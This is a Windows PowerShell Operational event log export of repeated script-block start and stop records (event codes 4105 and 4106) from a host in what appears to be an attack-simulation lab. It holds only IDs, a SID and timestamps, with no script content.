TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030178
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030162
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030161
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030156
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030155
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030133
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030131
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030130
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
